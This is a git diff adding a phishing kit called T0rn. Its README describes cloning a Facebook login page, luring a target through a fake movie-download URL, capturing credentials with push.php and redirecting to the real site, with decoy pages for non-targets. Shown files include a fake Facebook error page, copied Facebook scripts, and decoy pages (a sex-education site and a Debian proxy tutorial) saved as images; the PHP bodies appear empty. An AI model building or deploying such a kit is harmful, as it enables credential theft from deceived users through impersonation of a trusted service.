diff --git a/Download_latest_Series_and_Movies.php b/Download_latest_Series_and_Movies.php new file mode 100755 index 0000000..3010fae --- /dev/null +++ b/Download_latest_Series_and_Movies.php @@ -0,0 +1,23 @@ + diff --git a/README.md b/README.md index 41ea519..003741b 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,14 @@ -T0rn -==== +T0rn is a Social Eng. template I had created like 2-3 years ago.. I have not been +updating it a lot (last time I did == 2013). -Social Eng. template for credential haversting. (Facebook as a sample) +I've cloned a FB page, a Debian page and another random html page; The debian page is the +index file of the folder and the other two files I've saved them as .jpg files. + +So to trick a user, you have to craft a nice url that Security_Check.php can understand, +(in this case I've created Download_latest_Series_and_Movies.php) +e.g. redirect the targeted user to a login page (in this case FB page) then dump the credentials +using the push.php file and do the redirection to the legit FB account. If it's not the targeted +user, redirect to the random html page. + +I'll include a detailed user guide of the scripts later, but if you understand PHP go ahead and +have some fun :) diff --git a/Security_Check.php b/Security_Check.php new file mode 100755 index 0000000..873eb52 --- /dev/null +++ b/Security_Check.php @@ -0,0 +1,25 @@ + diff --git a/Warning.htm b/Warning.htm new file mode 100755 index 0000000..4ffd7db --- /dev/null +++ b/Warning.htm @@ -0,0 +1,79 @@ + + + + + + + + + + + + + + + Warning + + + + + + + + + +
Chat (2)
Chat
Friend Lists
Loading...

Oooops!

+ Our servers are heavily loaded, the download link can't be generated! +We advice you to try again later. We will correct this problem and send you a Download link via Facebook. + +

+ +

  • Error Status: Logged
  • +
  • File: Transforemers 4
  • +
  • Size: 3GB
  • +.

    + + + + + + diff --git a/Warning_files/-PAXP-deijE.gif b/Warning_files/-PAXP-deijE.gif new file mode 100755 index 0000000..d74aab2 Binary files /dev/null and b/Warning_files/-PAXP-deijE.gif differ diff --git a/Warning_files/11.htm b/Warning_files/11.htm new file mode 100755 index 0000000..a34e14a --- /dev/null +++ b/Warning_files/11.htm @@ -0,0 +1,3 @@ + + + \ No newline at end of file diff --git a/Warning_files/186315_1027916014_4388180_q.jpg b/Warning_files/186315_1027916014_4388180_q.jpg new file mode 100755 index 0000000..f574295 Binary files /dev/null and b/Warning_files/186315_1027916014_4388180_q.jpg differ diff --git a/Warning_files/1tCvb1OvuW2.js b/Warning_files/1tCvb1OvuW2.js new file mode 100755 index 0000000..58d3fc7 --- /dev/null +++ b/Warning_files/1tCvb1OvuW2.js @@ -0,0 +1,32 @@ +/*1300132006,169775555*/ + +if (window.CavalryLogger) { CavalryLogger.start_js(["jLIdu"]); } + +if(!window.skipDomainLower&&navigator&&navigator.userAgent&&document.domain.toLowerCase().match(/(^|\.)facebook\..*/)&&!(parseInt((/Gecko\/([0-9]+)/.exec(navigator.userAgent)||[]).pop(),10)<=20060508))document.domain=window.location.hostname.replace(/^.*(facebook\..*)$/i,'$1');window.onloadhooks=window.onloadhooks||[];window.onloadRegister=window.onloadRegister||function(a){onloadhooks.push(a);};window.onafterloadhooks=window.onafterloadhooks||[];window.onafterloadRegister=window.onafterloadRegister||function(a){onafterloadhooks.push(a);};function run_if_loaded(a,b){return window.loaded&&b.call(a);}function run_with(b,a,c){Bootloader.loadComponents(a,bind(b,c));return false;}function wait_for_load(c,b,e){e=bind(c,e,b);if(window.loaded)return e();switch((b||event).type){case 'load':case 'focus':onafterloadRegister(e);return;case 'click':var d=c.style,a=document.body.style;d.cursor=a.cursor='progress';onafterloadRegister(function(){d.cursor=a.cursor='';if(c.tagName.toLowerCase()=='a'){if(false!==e()&&c.href)window.location.href=c.href;}else if(c.click)c.click();});break;}return false;}function bind(c,b){var a=Array.prototype.slice.call(arguments,2);return function(){var e=c||(this==window?false:this),d=a.concat(Array.prototype.slice.call(arguments));if(typeof(b)=="string"){if(e[b])return e[b].apply(e,d);}else return b.apply(e,d);};}var curry=bind(null,bind,null);function env_get(a){return window.Env&&Env[a];}window.__DEV__=window.__DEV__||0;document.documentElement.className=document.documentElement.className.replace('no_js',''); +function hasArrayNature(a){return (!!a&&(typeof a=='object'||typeof a=='function')&&('length' in a)&&!('setInterval' in a)&&(Object.prototype.toString.call(a)==="[object Array]"||('callee' in a)||('item' in a)));}function $A(b){if(!hasArrayNature(b))return [b];if(b.item){var a=b.length,c=new Array(a);while(a--)c[a]=b[a];return c;}return Array.prototype.slice.call(b);} +function eval_global(c){if('string'!=typeof(c)){throw new Error('JS sent to eval_global is not a string. Only strings '+'are permitted.');}else if(''==c)return;var d=document.createElement('script');d.type='text/javascript';try{d.appendChild(document.createTextNode(c));}catch(a){d.text=c;}var b=(document.getElementsByTagName("head")[0]||document.documentElement);b.appendChild(d);b.removeChild(d);} +function copy_properties(b,c){b=b||{};c=c||{};for(var a in c)b[a]=c[a];if(c.hasOwnProperty&&c.hasOwnProperty('toString')&&(typeof c.toString!='undefined')&&(b.toString!==c.toString))b.toString=c.toString;return b;}function add_properties(a,b){return copy_properties(window[a]||(window[a]={}),b);}function is_empty(b){if(b instanceof Array){return b.length==0;}else if(b instanceof Object){for(var a in b)return false;return true;}else return !b;} +if(!window.async_callback)window.async_callback=function(a,b){return a;};function Arbiter(){copy_properties(this,{_listeners:[],_events:{},_callbacks:{},_last_id:1,_listen:{},_index:{}});copy_properties(this,Arbiter);}copy_properties(Arbiter,{SUBSCRIBE_NEW:'new',SUBSCRIBE_ALL:'all',BEHAVIOR_EVENT:'event',BEHAVIOR_PERSISTENT:'persistent',BEHAVIOR_STATE:'state',LIVEMESSAGE:'livemessage',BOOTLOAD:'bootload',FUNCTION_EXTENSION:'function_ext',CONTEXT_CHANGE:'ui/context-change',PAGECACHE_INVALIDATE:'pagecache/invalidate',NEW_NOTIFICATIONS:'chat/new_notifications',LIST_EDITOR_LISTS_CHANGED:'listeditor/friend_lists_changed',subscribe:function(k,b,i){if(!k||k.length==0)return null;k=$A(k);var a=Arbiter._getInstance(this);a._listeners.push({callback:b,types:k});var h=a._listeners.length-1;for(var d=0;d=h){i&&i();}else return;d&&clearInterval(d);e(f);};d=setInterval(c,20,b);return d;};var Bootloader=window.Bootloader=(window.Bootloader&&window.Bootloader.realBootloader)?window.Bootloader:(function(a){return {realBootloader:true,configurePage:function(b){var h={};var g=this.resolveResources(b);for(var c=0;c=this._expireTime){if(window.send_error_signal)if(Math.random()<.01)send_error_signal('js_timeout_and_exception','00001:error:CSS timeout.');var d=[];for(var f in this._activeCSSPolls)d.push(f);Bootloader.done(d,true);this._activeCSSPolls={};}else{var e=Bootloader._CSS_EXPECTED_HEIGHT;var b;var d=[];for(var f in this._activeCSSPolls){var c=this._activeCSSPolls[f];var h=c.offsetHeight==e||c.currentStyle&&c.currentStyle.height==e+'px'||window.getComputedStyle&&(b=document.defaultView.getComputedStyle(c,null))&&b.getPropertyValue('height')==e+'px';if(h){d.push(f);c.parentNode.removeChild(c);delete this._activeCSSPolls[f];}}if(!is_empty(d)){Bootloader.done(d,true);this._expireTime=g+Bootloader._CSS_POLL_EXPIRATION;}}return is_empty(this._activeCSSPolls);},_startCSSPoll:function(d){var c='bootloader_'+d.replace(/[^a-z0-9]/ig,'_');var b=bagofholding;bind(this,function(){var e=document.createElement('div');e.id=c;document.body.appendChild(e);this._expireTime=(+new Date())+Bootloader._CSS_POLL_EXPIRATION;var g=is_empty(this._activeCSSPolls);this._activeCSSPolls[d]=e;if(g)var f=setInterval(bind(this,function(){if(this._runCSSPolls())f&&clearInterval(f);}),20);}).deferUntil(function(){return document.body;},5000,false,b.curry("Still no DOM"));},done:function(f,c){var g=(a&&a._preloaded)||[];(a||{})._preloaded=[];f=f.concat(g);this.requested(f);if(!c){var e={sender:this};Arbiter.inform(Arbiter.BOOTLOAD,e,Arbiter.BEHAVIOR_EVENT);}for(var b=0;b=0);while(j.length>0){var r=c(j[0]);if(q&&((document.cookie.length+r.length)>3950||document.cookie.split(';').length>19))break;document.cookie=r;q=true;j.shift();}if(!!p||!h&&q&&((document.cookie.length>2500||document.cookie.split(';').length>15))&&(m||(window.Arbiter&&window.OnloadEvent&&Arbiter.query(OnloadEvent.ONLOAD)))){var o=new Image();h=true;o.onload=function(){h=false;b();};var n=window._EagleEyeDomain||(window.Env&&Env.tracking_domain)||'';o.src=n+'/ajax/nectar.php?asyncSignal='+(Math.floor(Math.random()*10000)+1)+'&'+(!p?'':'s=')+(+new Date());}};var a=function(p,n,o){var q=[l,+new Date(),p].concat(n);q.push(q.length);Bootloader.loadComponents('json',function(){var r=JSON.stringify(q);if(!o){j.push(r);}else document.cookie=c(r);b(o);});};a.loaded=function(){m=true;};return a;})(); +function set_ue_cookie(a){document.cookie="act="+encodeURIComponent(a)+"; path=/; domain="+window.location.hostname.replace(/^.*(\.facebook\..*)$/i,'$1');}var user_action=(function(){var m=(!window.ArbiterMonitor)?'r':'a',o=0,g=0,n,e,f,p,l,j,b,c,i=[0,0,0,0],d=function(){if(!!j){var r={profile_minifeed:1,info_tab:1,gb_content_and_toolbar:1,gb_muffin_area:1,ego:1,bookmarks_menu:1,jewelBoxNotif:1,jewelNotif:1,BeeperBox:1,navSearch:1};for(var q=j;q&&q!=document.body;q=q.parentNode){if(!q.id||typeof q.id!=='string')continue;if(q.id.substr(0,8)=='pagelet_')return q.id.substr(8);if(q.id.substr(0,8)=='box_app_')return q.id;if(r[q.id])return q.id;}}return '-';},h=function(r){if(!ge('content'))return [0,0,0,0];var q=$('content');var s=window.Vector2?Vector2.getEventPosition(r):{x:0,y:0};return [s.x,s.y,q.offsetLeft,q.clientWidth];},k=function(){o++;var r=p+'/'+o;set_ue_cookie(r);var q={};if(window.collect_data_attribs){q=collect_data_attribs(j,['ft','gt']);copy_properties(q.ft,c.ft||{});copy_properties(q.gt,c.gt||{});}if(m=='a'){ArbiterMonitor.initUE(r);f=ArbiterMonitor.getInternRef(j);}window.Log&&Log('act',[p,o,e||'-',b,n||'-',f||d(j),m,window.URI?URI.getRequestURI(true,true).getUnqualifiedURI().toString():location.pathname+location.search+location.hash,q].concat(i));l=true;},a=function(u,q,s,t,r){if(!!s){n=s.type;if(n=='click'&&ge('content'))i=h(s);var t=0;s.ctrlKey&&(t+=1);s.shiftKey&&(t+=2);s.altKey&&(t+=4);s.metaKey&&(t+=8);if(t)n+=t;}if(!u&&s)u=s.getTarget();if(!!u){e=(u.getAttribute&&u.getAttribute('ajaxify')||u.action||u.href||u.name);j=u;}if(!!q&&!b)b=q;if(!!r)c=r;if(t=='FORCE'||e)Bootloader.loadComponents('dom-collect',k);};return function(u,q,s,t,r){if(g){!l&&a(u,q,s,t,r);return;}if(t=='INDIRECT')return;n=e=f=j=b=null;c={};l=false;p=(+new Date());g=1;a(u,q,s,t,r);setTimeout(function(){g=0;},0);};})(); +ge=$=function(a){return typeof a=='string'?document.getElementById(a):a;}; +CSS=window.CSS||{hasClass:function(b,a){b=$(b);return (' '+b.className+' ').indexOf(' '+a+' ')>-1;},addClass:function(b,a){b=$(b);if(a&&!CSS.hasClass(b,a))b.className=b.className+' '+a;return b;},removeClass:function(b,a){b=$(b);b.className=b.className.replace(new RegExp('(^|\\s)'+a+'(?:\\s|$)','g'),'$1');return b;},toggleClass:function(b,a){return CSS.conditionClass(b,a,!CSS.hasClass(b,a));},conditionClass:function(c,b,a){return (a?CSS.addClass:CSS.removeClass)(c,b);},show:function(a){CSS.removeClass(a,'hidden_elem');},hide:function(a){CSS.addClass(a,'hidden_elem');},conditionShow:function(b,a){CSS.conditionClass(b,'hidden_elem',!a);}}; +var Parent={byTag:function(a,b){b=b.toUpperCase();while(a&&a.nodeName!=b)a=a.parentNode;return a;},byClass:function(b,a){while(b&&!CSS.hasClass(b,a))b=b.parentNode;return b;}}; +!function(){var a=document;var b=a.documentElement;var c=null;b.onclick=function(d){d=d||window.event;c=d.target||d.srcElement;var e=Parent.byTag(c,'A')||b;var f=e.getAttribute('ajaxify')||e.href;f&&user_action(e,'a',d);switch(e.rel){case 'dialog':case 'dialog-post':Bootloader.loadComponents('dialog',function(){Dialog.bootstrap(f,null,e.rel=='dialog',null,null,e);});break;case 'async':case 'async-post':Bootloader.loadComponents('async',function(){AsyncRequest.bootstrap(f,e);});break;case 'theater':if(d.altKey||d.ctrlKey||d.metaKey||d.shiftKey||(d.which&&d.which!=1))return;Bootloader.loadComponents('PhotoTheater',function(){PhotoTheater.bootstrap(f,e);});break;case 'toggle':CSS.toggleClass(e.parentNode,'openToggler');Bootloader.loadComponents('Toggler',function(){Toggler.bootstrap(e);});break;default:return;}return false;};b.onsubmit=function(d){d=d||window.event;var e=d.target||d.srcElement;if(!e||e.nodeName!='FORM'||e.getAttribute('rel')!=='async')return;user_action(e,'f',d);var f=c;Bootloader.loadComponents('dom-form',function(){Form.bootstrap(e,f);});return false;};}(); +Function.prototype.extend=function(a){if(!Metaprototype._arbiterHandle)Metaprototype._arbiterHandle=Arbiter.subscribe(Arbiter.BOOTLOAD,Metaprototype._onbootload.bind(Metaprototype));Metaprototype._queue(this,a);};function Metaprototype(){}copy_properties(Metaprototype,{makeFinal:function(a){},_pending:{},_queue:function(b,c){b.__class_extending=true;var a=Arbiter.registerCallback(bind(Metaprototype,Metaprototype._apply,b,c),[Arbiter.FUNCTION_EXTENSION+'/'+c,Arbiter.BOOTLOAD]);if(a!==null)this._pending[c]=true;},_onbootload:function(b,a){this._update();},_update:function(){for(var a in this._pending)if(!!window[a]){delete this._pending[a];if(!window[a].__class_extending){Arbiter.inform(Arbiter.FUNCTION_EXTENSION+'/'+a,true,Arbiter.BEHAVIOR_STATE);}else window[a].__class_name=a;}},_apply:function(a,c){delete a.__class_extending;var d=__metaprototype(window[c],0);var b=__metaprototype(a,d.prototype.__level+1);b.parent=d;if(!!a.__class_name)Arbiter.inform(Arbiter.FUNCTION_EXTENSION+'/'+a.__class_name,true,Arbiter.BEHAVIOR_STATE);}});function __metaprototype(c,a){if(c.__metaprototype)return c.__metaprototype;var b=new Function();b.construct=__metaprototype_construct;b.prototype.construct=__metaprototype_wrap(c,a,true);b.prototype.__level=a;b.base=c;c.prototype.parent=b;c.__metaprototype=b;return b;}function __metaprototype_construct(a){__metaprototype_init(a.parent);var c=[];var b=a;while(b.parent){c.push(new_obj=new b.parent());new_obj.__instance=a;b=b.parent;}a.parent=c[1];c.reverse();c.pop();a.__parents=c;a.__instance=a;return a.parent.construct.apply(a.parent,arguments);}function __metaprototype_init(d){if(d.initialized)return;var a=d.base.prototype;if(d.parent){__metaprototype_init(d.parent);var e=d.parent.prototype;for(var b in e)if(b!='__level'&&b!='construct'&&a[b]===undefined)a[b]=d.prototype[b]=e[b];}d.initialized=true;var c=d.prototype.__level;for(var b in a)if(b!='parent')a[b]=d.prototype[b]=__metaprototype_wrap(a[b],c);}function __metaprototype_wrap(c,b,d){if(typeof c!='function'||c.__prototyped)return c;var a=function(){var g=this.__instance;if(g){var h=g.parent;g.parent=b?g.__parents[b-1]:null;if(d){var e=[];for(var f=1;f=8&&!window.HTMLCollection)ua._ie=7;ua._firefox=a[2]?parseFloat(a[2]):NaN;ua._opera=a[3]?parseFloat(a[3]):NaN;ua._safari=a[4]?parseFloat(a[4]):NaN;if(ua._safari){a=/(?:Chrome\/(\d+\.\d+))/.exec(navigator.userAgent);ua._chrome=a&&a[1]?parseFloat(a[1]):NaN;}else ua._chrome=NaN;}else ua._ie=ua._firefox=ua._opera=ua._chrome=ua._safari=NaN;if(c){ua._osx=!!c[1];ua._windows=!!c[2];ua._linux=!!c[3];}else ua._osx=ua._windows=ua._linux=false;ua._iphone=b;}}; +OnloadEvent={ONLOAD:'onload/onload',ONLOAD_CALLBACK:'onload/onload_callback',ONLOAD_DOMCONTENT:'onload/dom_content_ready',ONLOAD_DOMCONTENT_CALLBACK:'onload/domcontent_callback',ONBEFOREUNLOAD:'onload/beforeunload',ONUNLOAD:'onload/unload'};function _include_quickling_events_default(){return !window.loading_page_chrome;}function onbeforeunloadRegister(a,b){if(b===undefined)b=_include_quickling_events_default();b?_addHook('onbeforeleavehooks',a):_addHook('onbeforeunloadhooks',a);}function onunloadRegister(a){if(!window.onunload)window.onunload=function(){Arbiter.inform(OnloadEvent.ONUNLOAD,true,Arbiter.BEHAVIOR_STATE);};_addHook('onunloadhooks',a);}function onleaveRegister(a){_addHook('onleavehooks',a);}function _addHook(b,a){window[b]=(window[b]||[]).concat(a);}function removeHook(a){window[a]=[];}function _domcontentready(){Arbiter.inform(OnloadEvent.ONLOAD_DOMCONTENT,true,Arbiter.BEHAVIOR_STATE);}function _bootstrapEventHandlers(){var a=document,d=window;if(a.addEventListener){if(ua.safari()<525){var c=setInterval(function(){if(/loaded|complete/.test(a.readyState)){_domcontentready();clearInterval(c);}},10);}else a.addEventListener("DOMContentLoaded",_domcontentready,true);}else{var b='javascript:void(0)';if(d.location.protocol=='https:')b='//:';a.write(' + + + + + + + + + + + +CPSJustSayYes
    + +safesex + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + + + + + + + + + + + + + +
    Click poster to enlarge
    + +

    + +

    The secret to great sex... water-based lube
    + + + +

    + +

    Click here to get CPS posters
    + + + + + + + +

    + + + + + + + + + +

    + +Nobody has a body to die for. Safe sex is always better! It's fun, and you don't have to worry as much. + +

    + + + + + + + +

    + +Safe sex means making sure you don't get anyone else's blood, semen, +vaginal fluids, or breast milk in your body -- and protecting your +partners too! Condoms, latex surgical +gloves, and plastic wrap are the only ways to protect yourself and your partner from STDs and HIV, but they're not foolproof. You've got to use them correctly every time you have sex. + +

    + + + + + + + + + +

    + +condoms + +

    + + + +

    + +The best condoms for anal and vaginal intercourse are lubricated latex condoms. + We do not recommend lambskin condoms because they don’t block HIV and + STDs.  If you're + allergic to latex you can use polyurethane condoms.  + Using lubricant will make things go smoother and give you added +protection. Lube is especially great for women the first time you have +intercourse, or if you tend to get sore. But always use a water-based +lube (such as KY Jelly, Astroglide, Aqua Lube, Wet, Foreplay, or Probe). + Oil breaks latex. Don't use vaseline, hand creams or lotions as a +lubricant. Also, treatments for yeast infections contain oil and will +break latex. Oil is good for salads and cars, not for sex! You can buy +water-based lube and condoms at the drugstore. + +

    + + + +

    + +Always use a condom. + +

    + + + +

    If you're going to suck your partner's dick (blowjob), put a condom + on it first. Try non-lubricated or flavored condoms for this. Whatever + you do, don't get semen (cum) in your mouth, because you could get an + STD or HIV + that way. If you have a sore throat or small cuts on your gums (say from + brushing your teeth), there's a risk of HIV going from the semen into + your blood stream.

    + + + +

    + +If you're doing someone with a sex toy -- vegetable, dildo, +vibrator, or whatever -- put a condom on that thing! Don't switch the +toy from butthole to vagina, or from one person's body to another, until + you put a new condom on it. + +

    + + + +

    + +Some people think that putting on a condom is too much work when you're +supposed to be having fun. But it's easy for condoms to be really fun +and erotic. Be creative! + +

    + + + + + + + + + +

    + +here's what you do: + +

    + + + + + + + +
      + +
    1. Get ready. Make sure your condoms are fresh -- check the +expiration date. Throw away condoms that have expired, been very hot, +carried around in your wallet, or washed in the washer. If you think +the condom might not be good, get a new one. You and your partner are +worth it.

      + + + +

    2. That dick has to be hard before you put a condom on it.

      + + + +

    3. Open it. Tear open the package carefully, so you don't rip the condom. Careful if you use your teeth.

      + + + +

    4. If the penis is uncut (uncircumcised), pull the foreskin back first.

      + + + +

    5. Make sure the condom is right side out. It's like + a sock: there's a right side and wrong side. First unroll it about +half an inch to see in which direction it is unrolling. Then put it on. +It should unroll easily down your dick. If you start off wrong, try +again with a new condom. You'll see when you practice.

      + + + +

    6. Hold the top half-inch of the condom between your fingers when you roll it down. This keeps out air bubbles, which can cause the condom to break. It + also leaves a space at the end for the cum.

      + + + +

    7. Roll the condom down as far as it will go. It should reach the base of the penis near the balls

      + + + +

    8. For anal intercourse, use lots of lube. Water-based lube is great for vaginal intercourse, too. Put the lube on after you put on the condom, not before -- + the condom could slip off. Add more lube often. Dry condoms break more easily.

      + + + +

    9. Guys -- when you pull out hold the condom near your +balls so it doesn't slip off. Try to pull out while you're still hard. +Take the condom off + only after you are completely out of your partner.

      + + + +

    10. Throw out the used condom right away. Use a condom + only once. Never use the same condom for vaginal and anal intercourse. +Never use a condom that has been in, or used by someone else. Never cum +more than once in the same condom.

      + +

    + + + +

    + +Guys, practice putting on a condom in a +comfortable place where you have plenty of time by yourself. You know +what we mean! Practice makes perfect, and you'll impress your partner. +Girls, practice putting a condom on a banana. + + + +

    + +You can get HIV and STDs even if you're not having intercourse. It can't hurt to cover all the bases -- with latex, that is! + +

    + + + + + + + + + +

    + +plastic wrap + +

    + + + + dental dam + + + +

    + +If you're going to be licking your partner's vulva and clit (eating +out), use a piece of plastic wrap to be safe. Yes! All you need is some +plastic-wrap, or a condom cut down the side and laid flat. Be sure to +cover the entire crotch. You could put some honey or jam on your side of + the plastic wrap and just eat away! Also, putting some lube on the +other side of the plastic wrap may make it +even more fun for her. But never flip the plastic over while you're +eating out. If you're going to move from one partner to another or from +butthole to +vulva, use a new piece. + +

    + + + +

    + +It's especially important to use plastic wrap if your partner is having her period. Menstrual blood can carry HIV and STDs. + +

    + + + +

    + +If you're going to be licking your partner's butthole (rimming), cover it with plastic wrap too. This keeps you safe from +harmful bacteria and STD's. A dental dam is a square piece of +latex that you can use just like plastic wrap. You can get dental dams +at condom stores, dentists offices, and some drugstores. + +

    + + + + + + + + + +

    + +latex gloves + +

    + + + + + +

    + +Putting your fingers or fist in your partner's vagina or butthole +(finger fucking or fisting) is safe as long as you don't have cuts or +sores on your hands and your partner is not on her period. The safest +way to do it is to wear a latex surgical glove (not a dishwashing glove) + and use lots of water-based lube. You can get latex surgical gloves at +the drugstore. + +

    + + + +

    + +You can still safely do almost everything else that turns you on -- kissing, stroking, massaging,
    +grinding . . .

    + +

    + +

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + | < + + | Contents + + | > + + | + + + + + + + + + +

    + + + + + + + + + + + + + + + + nobody has a body to die for + + + + + + + + + + + + + + + + + + + + always use a condom + + + + + + + + + + + + + + + + + + + + be creative! + + + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + + +
    + + + +

    + + + +| JustSayYes + +| LetsTalk + +| Resources + +| TalkBack + +| Search + +| Home + +| Get CPS Stuff + +| + + + +

    + +
    + +The Coalition for Positive Sexuality (CPS) is a grassroots, not-for-profit, + +activist organization. CPS is funded through donations and grants. Please help us to continue providing teens with candid sex education + materials, and this website, by making a tax-deductible donation. Email us to find out how to donate.
    +
    + +

    + + + +Copyright \A9 1997 + +Coalition for Positive Sexuality + + + +

    + + + +
    + + + + + + + + + + + + diff --git a/fake_files/Dentaldam_smallBW.jpg b/fake_files/Dentaldam_smallBW.jpg new file mode 100755 index 0000000..e478161 Binary files /dev/null and b/fake_files/Dentaldam_smallBW.jpg differ diff --git a/fake_files/JustSayYes.gif b/fake_files/JustSayYes.gif new file mode 100755 index 0000000..5942f81 Binary files /dev/null and b/fake_files/JustSayYes.gif differ diff --git a/fake_files/blank.gif b/fake_files/blank.gif new file mode 100755 index 0000000..35d42e8 Binary files /dev/null and b/fake_files/blank.gif differ diff --git a/fake_files/bottom.gif b/fake_files/bottom.gif new file mode 100755 index 0000000..9d11c30 Binary files /dev/null and b/fake_files/bottom.gif differ diff --git a/fake_files/cyan.gif b/fake_files/cyan.gif new file mode 100755 index 0000000..0f6eaa3 Binary files /dev/null and b/fake_files/cyan.gif differ diff --git a/fake_files/left.gif b/fake_files/left.gif new file mode 100755 index 0000000..d7a119b Binary files /dev/null and b/fake_files/left.gif differ diff --git a/fake_files/lubesld.jpg b/fake_files/lubesld.jpg new file mode 100755 index 0000000..7942ffc Binary files /dev/null and b/fake_files/lubesld.jpg differ diff --git a/fake_files/safesex.gif b/fake_files/safesex.gif new file mode 100755 index 0000000..b763c03 Binary files /dev/null and b/fake_files/safesex.gif differ diff --git a/fake_files/safesex1.gif b/fake_files/safesex1.gif new file mode 100755 index 0000000..6be602b Binary files /dev/null and b/fake_files/safesex1.gif differ diff --git a/fake_files/small.gif b/fake_files/small.gif new file mode 100755 index 0000000..9904c5d Binary files /dev/null and b/fake_files/small.gif differ diff --git a/index.htm b/index.htm new file mode 100755 index 0000000..6195c78 --- /dev/null +++ b/index.htm @@ -0,0 +1,708 @@ + + + + + +Linux Proxy Server - How To Set Up and Configure IPTABLES for NAT Linux Proxy Server + + + + + + + + + + + + +
    +Home Page + + +
    + + +Linux Basics +Debian Linux Installation +Using Debian Packages +Linux Modem Setup +Setting Up A Network +Setting Up DNS Servers + +Linux Internet Servers +Linux LAN Servers +Linux Database Server +Linux Syslog Server +Linux Fax Server +Linux Web Cam Servers + +Linux Proxy/NAT Servers +Linux Firewall Servers +Linux Security +Compiling Linux Programs +Linux GUI Desktops +What Now? + + +


    +
    + +
    + + +How To Set Up A Debian Linux Proxy Server + + +
    +

    +
    + +
    + +The material on this page was prepared using Sarge or Etch
    +configured using our Installation and Packages pages.
    +If you did not use our pages to set up your system, what you
    +encounter on your system may be different than what is given here. +
    +

    +This page covers using IPTABLES with the 2.4 Linux kernel.
    +For the page on using IPCHAINS with the 2.2 Linux kernel click here. +
    +

    +Back on the Networking +page we covered the basics of the "what", "where", and "why" of a proxy +server, and the reason NAT ("masquerading" in Linux-ese) is needed, as +well as how to configure the Linux networking files to get your system +operational on a network. This page will show you how to turn your +networked system into a proxy server. +

    +Recall also from the Networking +page that a proxy server is a "dual-homed" system. In other words, it +needs two network interfaces. The "internal" interface (a NIC card) +connects to the internal LAN and the "external" interface connects to +the outside network (typically the Internet). The external interface +can be a NIC card which connects to a cable or DSL modem, or you can +simply use a dial-up modem as your external interface. (We showed you +how to get a dial-up modem working back on the Modems page.) The script below will work in either instance. +
    +
    +Internet Connection Sharing +
    +
    +Naturally, the dial-up modem shown in the diagram above could also be +an internal PCI or ISA slot modem. In any event, be sure you can access +Internet resources from the Debian system itself using your cable, DSL, +or dial-up modem before proceeding to add proxy server functionality to the system. +

    +
    +
    +*** WARNING *** +   A proxy server is fine if you plan to share a dial-up +(modem) connection. However, if you have an "always on" DSL or cable +connection a proxy server can put your systems at risk because it offers very little protection against outside intrusion into your network. +
    +
    +
    +Because of this, you should consider this material on proxy servers an introduction, not a solution. It's very easy to go from a proxy server to a firewall system that also does NAT. All you need to do is simply add a few more IPTABLES commands to the proxy.sh script to turn it into a firewall.sh script. We'll do just that on the Firewall page. +

    +In addition to being more secure, the firewall script can be modified +to limit access based on protocol (TCP/UDP), ports (port 80 for Web and +25 for mail), the address of the user's machine, or the address of a +Web site you wish to block access to. It also has a command for those +who wish to have the firewall system simultaneously act as a Web server +to host a family Web site or serve up Web cam images. +

    +
    +Note:  You +may see the "Squid proxy server" product mentioned in various Web +pages, books, and articles about Linux proxy servers. You don't need +Squid or any other product to set up a Linux proxy server. The +advantage of Squid is that it's a caching proxy server product. +The caching function will store cached copies of frequently visited Web +pages on the proxy server's local hard-drive and serve those up to +requesting browsers rather than bringing a fresh copy over the +Internet. You'd need quite a large number of users on your network to +see any benefit of using a caching proxy server. +
    +

    + +
    +The Kernel and NAT + +Top of page
    +
    It is the Linux kernel that inspects the packets and modifies the +addresses in the packet headers (the NAT function) before forwarding +them on to the final destination system (whether that is an Internet +server for outgoing packets or a network workstation for incoming +packets). +

    We need a way to tell the kernel how to handle packets. With +the Linux 2.2 kernel (Potato and Woody) we used the IPCHAINS command to +do that. With the Linux 2.4 kernel (Sarge) IPTABLES is used. We issue a +series of IPTABLES commands with each command establishing a "rule" +which dictates how packets should be handled (which should be forwarded +and which should be dropped). The series of rules that is built using a +series of IPTABLES commands is called a "ruleset" or "chain". +

    A ruleset only exists in memory so when you reboot the system +it disappears and has to be recreated. If you had to enter the +necessary IPTABLES commands manually every time you rebooted your +system it would be a lot of repetitious work. Instead, we put the +commands in a shell script. We can optionally set the script file to +get executed automatically at boot up if this is going to be a +full-time proxy server. We'll see how to set that up later in this +page. +

    +The following is a shell script that was derived from the Linux 2.4 kernel script in the IP Masquerade HOWTO. +If you're viewing this page on a Windows PC the simplest way to get the +below script is to drag over it to select it, copy it to your +clipboard, and paste it into Notepad. You can then save it and ftp it +to your server. +

    At first glance the script looks long and hideos but that's +only because we've gone overboard with the comments. Most shell scripts +aren't this heavily commented. To set this script up you'll need to: +
    +
      +Section A +
    • Enter your internal interface designation (INTIF) +
    • Enter your external interface designation (EXTIF)
      +Section B +
    • If your external interface uses a static IP address +
        +
      • Uncomment the EXTIP line and enter your static IP address +
      +Section C +
    • If your external interface uses a dynamic IP address +
        +
      • Uncomment the EXTIP line +
      +
    +
    +The +comments in the script give a little more information on what values to +enter and what lines need to be uncommented for your situation. +


    + +
    + +
    #!/bin/sh
    +
    +#  IPTABLES  PROXY  script for the Linux 2.4 kernel.
    +#  This script is a derivitive of the script presented in
    +#  the IP Masquerade HOWTO page at:
    +#  www.tldp.org/HOWTO/IP-Masquerade-HOWTO/firewall-examples.html
    +#  It was simplified to coincide with the configuration of
    +#  the sample system presented in the Guides section of
    +#  www.aboutdebian.com
    +#
    +#  This script is presented as an example for testing ONLY
    +#  and should not be used on a production proxy server.
    +#
    +#    PLEASE SET THE USER VARIABLES
    +#    IN SECTIONS A AND B OR C
    +
    +echo -e "\n\nSETTING UP IPTABLES PROXY..."
    +
    +
    +# === SECTION A
    +# -----------   FOR EVERYONE 
    +
    +# SET THE INTERFACE DESIGNATION FOR THE NIC CONNECTED TO YOUR INTERNAL NETWORK
    +#   The default value below is for "eth0".  This value 
    +#   could also be "eth1" if you have TWO NICs in your system.
    +#   You can use the ifconfig command to list the interfaces
    +#   on your system.  The internal interface will likely have
    +#   have an address that is in one of the private IP address
    +#   ranges.
    +#       Note that this is an interface DESIGNATION - not
    +#       the IP address of the interface.
    +#   Enter the internal interface's designation for the
    +#   INTIF variable:
    +
    +INTIF="eth0"
    +
    +
